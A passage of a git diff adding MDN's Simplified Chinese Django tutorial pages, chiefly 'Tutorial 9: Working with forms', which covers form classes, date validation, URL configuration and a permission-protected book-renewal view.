saved to model) + """ + #Add logged-in user as author of comment + form.instance.author = self.request.user + #Associate comment with blog based on passed id + form.instance.blog=get_object_or_404(Blog, pk = self.kwargs['pk']) + # Call super-class form validation behaviour + return super(BlogCommentCreate, self).form_valid(form) +</pre> + </li> + <li>在表单验证后,您需要提供成功的 URL,以进行重新定向;这应该是原来的博客。为此,您需要覆盖 <code>get_success_url()</code>,并为原来的博客 “反转” URL 。您可以使用<code>self.kwargs</code>属性,获取所需的博客ID,如上面的 <code>form_valid()</code> 方法所示。</li> + </ul> + </li> +</ol> + +<p>我们简要地讨论了在<a href="/zh-CN/docs/Learn/Server-side/Django/Generic_views#Overriding_methods_in_class-based_views">Django教程 6:通用列表和详细信息视图</a>主题中,在基于类的视图中,将上下文传递给模板。要执行此操作,您需要覆盖<code>get_context_data()</code>(首先,获取现有上下文,使用要传递给模板的任何其他变量,更新它,然后返回更新的上下文)。例如,下面的代码片段,显示了如何根据<code>BlogAuthor</code> id,将 blogger 对象添加到上下文中。</p> + +<pre class="brush: python">class SomeView(generic.ListView): + ... + + def get_context_data(self, **kwargs): + # Call the base implementation first to get a context + context = super(SomeView, self).get_context_data(**kwargs) + # Get the blogger object from the "pk" URL parameter and add it to the context + context['blogger'] = get_object_or_404(BlogAuthor, pk = self.kwargs['pk']) + return context +</pre> + +<h2 id="评估">评估</h2> + +<p>这个任务的评估,可以在<a href="https://github.com/mdn/django-diy-blog/blob/master/MarkingGuide.md">Github</a>上找到。此评估主要基于您的应用程序,满足上面列出要求的程度,尽管评估的某些部分,会检查您的代码是否使用了适当的模型,并且您至少编写了一些测试代码。完成后,您可以查看我们<a href="https://github.com/mdn/django-diy-blog">完成的示例</a>,该示例项目的表现是 “满分”。</p> + +<p>完成本单元后,表示您还完成了所有 MDN 用于学习《基本 Django 服务器端网站编程》的内容!我们希望您喜欢这个模块,并感觉您已经掌握了基础知识!</p> + +<p>{{PreviousMenu("Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="本系列教程">本系列教程</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django 介绍</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">架设 Django 开发环境</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django 教程: 本地图书馆网站</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django 教程 2: 创建骨架网站</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django 教程 3: 使用模型</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django 教程 4: Django 管理站点</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django 教程 5: 创建主页</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django 教程 6: 通用列表与详细视图</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django 教程 7: 会话框架</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django 教程 8: 用户认证与授权</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django 教程 9: 使用表单</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django 教程 10: 测试 Django 网页应用</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django 教程 11: 部署 Django 到生产环境</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django 网页应用安全</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django 微博客</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/django/forms/index.html b/files/zh-cn/learn/server-side/django/forms/index.html new file mode 100644 index 0000000000..ab99a520a3 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/forms/index.html @@ -0,0 +1,671 @@ +--- +title: 'Django 教程 9: 使用表单' +slug: learn/Server-side/Django/Forms +translation_of: Learn/Server-side/Django/Forms +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</div> + +<p class="summary">在<font><font>本教程中,我们将向您展示如何在Django中使用HTML表单,特别是编写表单以创建,更新和删除模型实例的最简单方法。</font><font>作为本演示的一部分,我们将扩展</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style='color: rgb(63, 135, 166); margin: 0px; padding: 0px; border: 0px; text-decoration: none; font-family: "Open Sans", arial, x-locale-body, sans-serif; font-size: 20px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);'><font><font>LocalLibrary</font></font></a><font><font>网站,以便图书馆员可以使用我们自己的表单(而不是使用管理员应用程序)更新图书,创建,更新和删除作者</font></font>。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前置条件:</th> + <td>完成所有先前的教程主题,包含 <a href="/zh-CN/docs/Learn/Server-side/Django/authentication_and_sessions">Django 教程 8: 使用者授权与许可</a>。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>了解如何撰写表单,向使用者取得资料,并更新资料库。了解通用类别表单编辑视图,如何大量地简化用于单一模型的新表单制作。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>一张 <a href="/zh-CN/docs/Web/Guide/HTML/Forms">HTML 表单</a> ,是由一个或多个栏位/widget在一个网页上组成的,以用于向使用者收集资料,并提交至伺服器。表单是一个弹性的机制,用于收集使用者输入,有合适的 widgets 可输入许多不同型态的资料,包含文字框、复选框、单选按钮、日期选取组件等等。若是允许我们用 <code>POST</code> 方式传送资料,并附加 CSRF 跨站要求伪造保护,表单也是与伺服器分享资料的一种相对安全的方式。</p> + +<p>在这个教程目前为止,我们还没有创造任何表单,但我们已经在 Django 管理站点遇到这些表单了— 例如以下的撷图展示了一张表单,用于编辑我们的一个 <a href="/zh-CN/docs/Learn/Server-side/Django/Models">Book书本</a>模型,包含一些选择列表以及文字编辑框。</p> + +<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>表单的使用可以很复杂!开发者需要为表单撰写 HTML 语法,在服务端验证输入的资料并经过充分的安全处理(并且可能在浏览器端也需要),回到表单呈现错误信息,告知使用者任何无效的栏位,当成功提交时处理资料,在最后用某些方式回应使用者表单提交成功的信息。经由提供一个框架,让你程序化定义表单以及其中的栏位,Django 表单接手处理了以上这些步骤的大量工作,比如使用这些物件,产生表单的 HTML 源码,并处理大量的验证、使用者互动的工作。</p> + +<p>在本教程中,我们将展示一些方法,用以创造并使用表单,特别是,当你创造用以操作资料模型的表单,通用编辑表单视图如何显著降低你的工作量。在此过程中,我们将通过添加表单,来扩展我们的 LocalLibrary 应用程序,以允许图书馆员更新图书馆书本,我们将创建页面来创建,编辑和删除书本和作者(复制上面显示的表格的基本版本,以便编辑书本)。</p> + +<h2 id="HTML_表单">HTML 表单</h2> + +<p>首先简要概述<a href="/zh-CN/docs/Learn/HTML/Forms">HTML表单</a>。考虑一个简单的HTML表单,其中包含一个文本字段,用于输入某些“团队”的名称及其相关标签:</p> + +<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> + +<p>表单在HTML中定义为<code><form>...</form></code> 标记内的元素集合,包含至少一个<code>type="submit"</code>的<code>input</code> 输入元素。</p> + +<pre class="brush: html"><form action="/team_name_url/" method="post"> + <label for="team_name">Enter name: </label> + <input id="team_name" type="text" name="name_field" value="Default name for team."> + <input type="submit" value="OK"> +</form></pre> + +<p>虽然在这里,我们只有一个文本字段,用于输入团队名称,但表单可能包含任意数量的其他输入元素,及其相关标签。字段的<code>type</code> 属性,定义将显示哪种窗口小部件。该字段的名称<code>name</code> 和 <code>id</code>,用于标识 JavaScript / CSS / HTML中的字段,而<code>value</code> 定义字段首次显示时的初始值。匹配团队标签使用<code style="font-style: normal; font-weight: normal;">label</code> 标签指定(请参阅上面的“输入名称” Enter name),其中<code style="font-style: normal; font-weight: normal;">for</code> 字段包含相关<code style="font-style: normal; font-weight: normal;">input</code>输入的<code style="font-style: normal; font-weight: normal;">id</code> 值。</p> + +<p>提交输入<code>submit</code> 将显示为一个按钮(默认情况下),用户可以按下该按钮,将表单中所有其他输入元素中的数据,上传到服务器(在本例中,只有<code>team_name</code>)。表单属性定义用于发送数据的 HTTP <code>method</code> 方法,和服务器上数据的目标(<code>action</code>): </p> + +<ul> + <li><code>action</code>: 提交表单时,要发送数据以进行处理的资源 /URL。如果未设置(或设置为空字符串),则表单将提交回当前页面 URL。</li> + <li><code>method</code>: 用于发送数据的HTTP方法:post 或 get。 + <ul> + <li>如果数据将导致服务器数据库的更改,则应始终使用<code>POST</code> 方法,因为这可以更加抵抗跨站点伪造请求攻击。</li> + <li><code>GET</code> 方法,只应用于不更改用户数据的表单(例如搜索表单)。当您希望能够为URL添加书签、或共享时,建议使用此选项。</li> + </ul> + </li> +</ul> + +<p>服务器的角色,首先是呈现初始表单状态 - 包含空白字段或预先填充初始值。在用户按下提交按钮之后,服务器将从Web浏览器,接收具有值的表单数据,并且必须验证该信息。如果表单包含无效数据,则服务器应再次显示表单,这次使用用户输入的数据在“有效”字段中,并使用消息来描述无效字段的问题。一旦服务器获得具有所有有效表单数据的请求,它就可以执行适当的操作(例如,保存数据,返回搜索结果,上载文件等),然后通知用户。</p> + +<p>可以想象,创建HTML,验证返回的数据,根据需要重新显示输入的数据,和错误报告,以及对有效数据执行所需的操作,都需要花费很多精力才能“正确”。通过删除一些繁重的重复代码,Django 使这变得更容易!</p> + +<h2 id="Django_表单处理流程">Django 表单处理流程</h2> + +<p>Django 的表单处理,使用了我们在之前的教程中,学到的所有相同技术(用于显示有关模型的信息):视图获取请求,执行所需的任何操作,包括从模型中读取数据,然后生成并返回HTML页面(从模板中,我们传递一个包含要显示的数据的上下文。使事情变得更复杂的是,服务器还需要能够处理用户提供的数据,并在出现任何错误时,重新显示页面。</p> + +<p>下面显示了 Django 如何处理表单请求的流程图,从对包含表单的页面的请求开始(以绿色显示)。</p> + +<p><img alt="Updated form handling process doc." src="https://mdn.mozillademos.org/files/14205/Form%20Handling%20-%20Standard.png" style="display: block; height: 569px; margin: 0px auto; width: 800px;"></p> + +<p>基于上图,Django 表单处理的主要内容是:</p> + +<p> </p> + +<ol> + <li>在用户第一次请求时,显示默认表单。 + <ul> + <li>表单可能包含空白字段(例如,如果您正在创建新记录),或者可能预先填充了初始值(例如,如果您要更改记录,或者具有有用的默认初始值)。</li> + <li>此时表单被称为未绑定,因为它与任何用户输入的数据无关(尽管它可能具有初始值)。</li> + </ul> + </li> + <li>从提交请求接收数据,并将其绑定到表单。 + <ul> + <li>将数据绑定到表单,意味着当我们需要重新显示表单时,用户输入的数据和任何错误都可取用。 </li> + </ul> + </li> + <li>清理并验证数据。 + <ul> + <li>清理数据会对输入执行清理(例如,删除可能用于向服务器发送恶意内容的无效字符)并将其转换为一致的 Python 类型。</li> + <li>验证检查值是否适合该字段(例如,在正确的日期范围内,不是太短或太长等)</li> + </ul> + </li> + <li>如果任何数据无效,请重新显示表单,这次使用任何用户填充的值,和问题字段的错误消息。</li> + <li>如果所有数据都有效,请执行必要的操作(例如保存数据,发送表单和发送电子邮件,返回搜索结果,上传文件等)</li> + <li>完成所有操作后,将用户重定向到另一个页面。</li> +</ol> + +<p>Django 提供了许多工具和方法,来帮助您完成上述任务。最基本的是 <code>Form</code> 类,它简化了表单 HTML 和数据清理/验证的生成。在下一节中,我们将描述表单如何使用页面的实际示例,来允许图书馆员更新书本籍。</p> + +<div class="note"> +<p><strong>注意:</strong> 在我们讨论 Django 更“高级”的表单框架类时,了解 <code>Form</code> 的使用方式,将对您有所帮助。</p> +</div> + +<h2 id="续借表单_-_使用表单和功能视图">续借表单 - 使用表单和功能视图</h2> + +<p>接下来,我们将添加一个页面,以允许图书馆员,为被借用的书本办理续借。为此,我们将创建一个允许用户输入日期值的表单。我们将从当前日期(正常借用期)起 3 周内,为该字段设定初始值,并添加一些验证,以确保图书管理员无法输入过去的日期、或未来的日期。输入有效日期后,我们会将其写入当前记录的 <code>BookInstance.due_back </code>字段。</p> + +<p>该示例将使用基于函数的视图和<code>Form</code> 类。以下部分,说明了表单的工作方式,以及您需要对正在进行的 LocalLibrary 项目所做的更改。</p> + +<h3 id="表单">表单</h3> + +<p><code>Form</code> 类是 Django 表单处理系统的核心。它指定表单中的字段、其布局、显示窗口小部件、标签、初始值、有效值,以及(一旦验证)与无效字段关联的错误消息。该类还提供了使用预定义格式(表,列表等)在模板中呈现自身的方法,或者用于获取任何元素的值(启用细粒度手动呈现)的方法。</p> + +<h4 id="声明表单">声明表单</h4> + +<p><code>Form</code> 的声明语法,与声明<code>Model</code>非常相似,并且共享相同的字段类型(以及一些类似的参数)。这是有道理的,因为在这两种情况下,我们都需要确保每个字段处理正确类型的数据,受限于有效数据,并具有显示/文档的描述。</p> + +<p>要创建表单,我们导入表单库,从<code>Form</code> 类派生,并声明表单的字段。我们的图书馆图书续借表单的一个非常基本的表单类如下所示:</p> + +<pre class="brush: python">from django import forms + +class RenewBookForm(forms.Form): + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") +</pre> + +<h4 id="表单字段">表单字段</h4> + +<p>在这种情况下,我们有一个 <code><a href="https://docs.djangoproject.com/zh-hans/2.0/ref/forms/fields//#datefield">DateField</a></code> 用于输入续借日期,该日期将使用空白值在 HTML 中呈现,默认标签为“续借日期:”,以及一些有用的用法文本:“输入从现在到 4 周之间的日期(默认为 3)周)。” 由于没有指定其他可选参数,该字段将使用 <a href="https://docs.djangoproject.com/zh-hans/2.0/ref/forms/fields/#django.forms.DateField.input_formats">input_formats </a>接受日期:YYYY-MM-DD(2016-11-06)、MM/DD/YYYY(02/26/2016)、MM/DD/YY( 10/25/16),并且将使用默认<a href="https://docs.djangoproject.com/zh-hans/2.0/ref/forms/fields/#widget">小部件</a>呈现:<a href="https://docs.djangoproject.com/zh-hans/2.0/ref/forms/widgets/#django.forms.DateInput">DateInput</a>。</p> + +<p>还有许多其他类型的表单字段,您可以从它们与等效模型字段类的相似性中大致认识到:</p> + +<p><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>.</p> + +<p>下面列出了大多数字段共有的参数(这些参数具有合理的默认值):</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#required">required</a>: 如果为<code>True</code>,则该字段不能留空或给出<code>None</code>值。默认情况下需要字段,因此您可以设置<code>required=False</code>以允许表单中的空白值。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#label">label</a>: 在 HTML 中呈现字段时使用的标签。如果未指定<a href="https://docs.djangoproject.com/zh-hans/2.0/ref/forms/fields/#label">label</a>,则 Django 将通过大写第一个字母、并用空格替换下划线(例如续订日期)的方式,从字段名称创建一个。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#label-suffix">label_suffix</a>: 默认情况下,标签后面会显示冒号(例如续借日期:)。此参数允许您指定包含其他字符的不同后缀。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#initial">initial</a>: 显示表单时,字段的初始值。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#widget">widget</a>: 要使用的显示小部件。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#help-text">help_text</a> (如上例所示):可以在表单中显示的附加文本,用于说明如何使用该字段。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#error-messages">error_messages</a>: 字段的错误消息列表。如果需要,您可以使用自己的消息,覆盖这些消息。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#validators">validators</a>: 验证时将在字段上调用的函数列表。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#localize">localize</a>: 启用表单数据输入的本地化(有关详细信息,请参阅链接)。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/forms/fields/#disabled">disabled</a>: 如果为<code>True</code>,该字段会被显示,但无法编辑其值。默认值为<code>False</code>。</li> +</ul> + +<h4 id="验证">验证</h4> + +<p>Django 提供了许多可以验证数据的地方。验证单个字段的最简单方法,是覆盖要检查的字段的方法<code>clean_<strong><fieldname></strong>()</code> 。因此,例如,我们可以通过实现<code>clean_<strong>renewal_date</strong>() </code>,验证输入的<code>renewal_date</code> 值是从现在到 4 周之间,如下所示。</p> + +<pre class="brush: python">from django import forms + +<strong>from django.core.exceptions import ValidationError +from django.utils.translation import ugettext_lazy as _ +import datetime #for checking renewal date range. +</strong> +class RenewBookForm(forms.Form): + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") + +<strong> def clean_renewal_date(self): + data = self.cleaned_data['renewal_date'] + + #Check date is not in past. + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + + #Check date is in range librarian allowed to change (+4 weeks). + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Remember to always return the cleaned data. + return data</strong></pre> + +<p>有两件重要的事情需要注意。首先,我们使用<code>self.cleaned_data['renewal_date']</code> 获取数据,并且无论是否在函数末尾更改数据,我们都会返回此数据。此步骤使用默认验证器,将数据“清理”、并清除可能不安全的输入,并转换为数据的正确标准类型(在本例中为Python <code>datetime.datetime</code>对象)。</p> + +<p>第二点是,如果某个值超出了我们的范围,我们会引发<code>ValidationError</code>,指定在输入无效值时,我们要在表单中显示的错误文本。上面的例子,也将这个文本包含在 <a href="https://docs.djangoproject.com/zh-hans/2.0/topics/i18n/translation/">Django 的翻译函数</a><code>ugettext_lazy()</code>中(导入为 <code>_()</code>),如果你想在稍后翻译你的网站,这是一个很好的做法。</p> + +<div class="note"> +<p><strong>注意:</strong> 在<a href="https://docs.djangoproject.com/zh-hans/2.0/ref/forms/validation/">表单和字段验证</a>(Django docs)中验证表单还有其他很多方法和示例。例如,如果您有多个相互依赖的字段,则可以覆盖<a href="https://docs.djangoproject.com/en/2.0/ref/forms/api/#django.forms.Form.clean">Form.clean()</a> 函数并再次引发<code>ValidationError</code>。</p> +</div> + +<p>这就是我们在这个例子中,对表单所需要了解的全部内容!</p> + +<h4 id="复制表单">复制表单</h4> + +<p>创建并打开文件 <strong>locallibrary/catalog/forms.py</strong>,并将前一个块中的整个代码清单,复制到其中。</p> + +<h3 id="URL_配置">URL 配置</h3> + +<p>在创建视图之前,让我们为续借页面添加 URL 配置。将以下配置,复制到<strong>locallibrary/catalog/urls.py </strong>的底部。</p> + +<pre class="brush: python">urlpatterns += [ + path('book/<uuid:pk>/renew/', views.renew_book_librarian, name='renew-book-librarian'), +]</pre> + +<p>URL 配置会将格式为 <strong>/catalog/book/<em><bookinstance id></em>/renew/</strong>的URL,重定向到 <strong>views.py </strong>中,名为<code>renew_book_librarian()</code> 的函数,并将<code>BookInstance</code> id作为名为 <code>pk</code>的参数发送。只有 <code>pk</code>是正确格式化的 <code>uuid</code>,该模式才会匹配。</p> + +<div class="note"> +<p><strong>注意</strong>: 我们可以将捕获的 URL 数据,命名为“<code>pk</code>”,因为我们可以完全控制视图函数(我们不使用需要具有特定名称的参数的通用详细视图类)。然而,<code>pk</code>,“主键” primary key 的缩写,是一个合理的惯例!</p> +</div> + +<h3 id="视图">视图</h3> + +<p>正如上面的 Django 表单处理过程中,所讨论的那样,视图必须在首次调用时呈现默认表单,然后在数据无效时,重新呈现它,并显示错误消息,或者数据有效时,处理数据,并重定向到新页面。为了执行这些不同的操作,视图必须能够知道,它是第一次被调用以呈现默认表单,还是后续处理以验证数据。</p> + +<p>对于使用<code>POST</code> 请求向服务器提交信息的表单,最常见的模式,是视图针对<code>POST</code> 请求类型进行测试(<code>if request.method == 'POST':</code>)以识别表单验证请求和<code>GET</code> (使用一个<code>else</code> 条件)来识别初始表单创建请求。如果要使用<code>GET</code> 请求提交数据,则识别这是第一个、还是后续视图调用的典型方法,是读取表单数据(例如,读取表单中的隐藏值)。</p> + +<p>书本续借过程将写入我们的数据库,因此按照惯例,我们使用 <code>POST</code> 请求方法。下面的代码片段,显示了这种函数视图的(非常标准)模式。</p> + +<pre class="brush: python">from django.shortcuts import get_object_or_404 +from django.http import HttpResponseRedirect +from django.urls import reverse +import datetime + +from .forms import RenewBookForm + +def renew_book_librarian(request, pk): + book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data +<strong> if request.method == 'POST':</strong> + + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) + + # Check if the form is valid: + <strong>if form.is_valid():</strong> + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # If this is a GET (or any other method) create the default form. +<strong> else:</strong> + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>首先,我们导入我们的表单(<code>RenewBookForm</code>)和视图函数中使用的许多其他有用的对象/方法:</p> + +<ul> + <li><code><a href="https://docs.djangoproject.com/en/2.0/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: 根据模型的主键值,从模型返回指定的对象,如果记录不存在,则引发<code>Http404</code> 异常(未找到)。</li> + <li><code><a href="https://docs.djangoproject.com/en/2.0/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: 这将创建指向指定URL的重定向(HTTP状态代码 302)。</li> + <li><code><a href="https://docs.djangoproject.com/en/2.0/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: 这将从 URL 配置名称和一组参数生成 URL。它是我们在模板中使用的 <code>url</code> 标记的 Python 等价物。</li> + <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: 用于操作日期和时间的 Python 库。</li> +</ul> + +<p>在视图中,我们首先使用 <code>get_object_or_404()</code>中的 <code>pk</code> 参数,来获取当前的 <code>BookInstance</code> (如果这不存在,视图将立即退出,页面将显示“未找到”错误)。如果这不是 <code>POST</code> 请求(由 <code>else</code> 子句处理),那么我们创建默认表单,传递 <code>renewal_date</code> 字段的<code>initial</code> 初始值(如下面的<strong>粗体</strong>所示,这是从当前日期起的 3 周)。</p> + +<pre class="brush: python"> book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a GET (or any other method) create the default form + <strong>else:</strong> + proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>) + <strong>form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>,})</strong> + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>创建表单后,我们调用 <code>render()</code> 来创建HTML页面,指定模板和包含表单的上下文。在这种情况下,上下文还包含我们的 <code>BookInstance</code>,我们将在模板中使用它,来提供有关我们正在续借的书本信息。</p> + +<p>但是,如果这是一个<code>POST</code> 请求,那么我们创建表单对象,并使用请求中的数据填充它。此过程称为“绑定”,并且允许我们验证表单。然后我们检查表单是否有效,它运行所有字段上的所有验证代码 - 包括用于检查我们的日期字段,实际上是有效日期的通用代码,以及用于检查日期的特定表单的<code>clean_renewal_date()</code>函数在合适的范围内。</p> + +<pre class="brush: python"> book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data + if request.method == 'POST': + + # Create a form instance and populate it with data from the request (binding): +<strong> form = RenewBookForm(request.POST)</strong> + + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>如果表单无效,我们再次调用<code>render()</code> ,但这次在上下文中传递的表单值将包含错误消息。</p> + +<p>如果表单有效,那么我们可以开始使用数据,通过 <code>form.cleaned_data</code>属性访问它(例如 <code>data = form.cleaned_data['renewal_date']</code>)。这里我们只将数据保存到关联的<code>BookInstance</code> 对象的<code>due_back</code> 值中。</p> + +<div class="warning"> +<p><strong>重要</strong>: 虽然您也可以通过请求直接访问表单数据(例如<code>request.POST['renewal_date']</code> 或 <code>request.GET['renewal_date']</code>(如果使用 GET 请求),但不建议这样做。清理后的数据是无害的、验证过的、并转换为 Python 友好类型。</p> +</div> + +<p>视图的表单处理部分的最后一步,是重定向到另一个页面,通常是“成功”页面。在这种情况下,我们使用 <code>HttpResponseRedirect</code> 和 <code>reverse()</code> ,重定向到名为'<code>all-borrowed</code>'的视图(这是在 <a href="/zh-CN/docs/learn/Server-side/Django/Authentication#Challenge_yourself">Django 教程第 8 部分中创建的 “挑战”:用户身份验证和权限</a>)。如果您没有创建该页面,请考虑重定向到URL'/'处的主页。</p> + +<p>这就是表单处理本身所需的一切,但我们仍然需要将视图,限制为图书馆员可以访问。我们应该在 <code>BookInstance</code> (“<code>can_renew</code>”)中创建一个新的权限,但为了简单起见,我们只需使用<code>@permission_required</code>函数装饰器,和我们现有的 <code>can_mark_returned</code> 权限。</p> + +<p>因此,最终视图如下所示。请将其复制到 <strong>locallibrary/catalog/views.py </strong>的底部。</p> + +<pre><strong>from django.contrib.auth.decorators import permission_required</strong> + +from django.shortcuts import get_object_or_404 +from django.http import HttpResponseRedirect +from django.urls import reverse +import datetime + +from .forms import RenewBookForm + +<strong>@permission_required('catalog.<code>can_mark_returned</code>')</strong> +def renew_book_librarian(request, pk): + """ + View function for renewing a specific BookInstance by librarian + """ + book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data + if request.method == 'POST': + + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) + + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # If this is a GET (or any other method) create the default form. + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) +</pre> + +<h3 id="模板">模板</h3> + 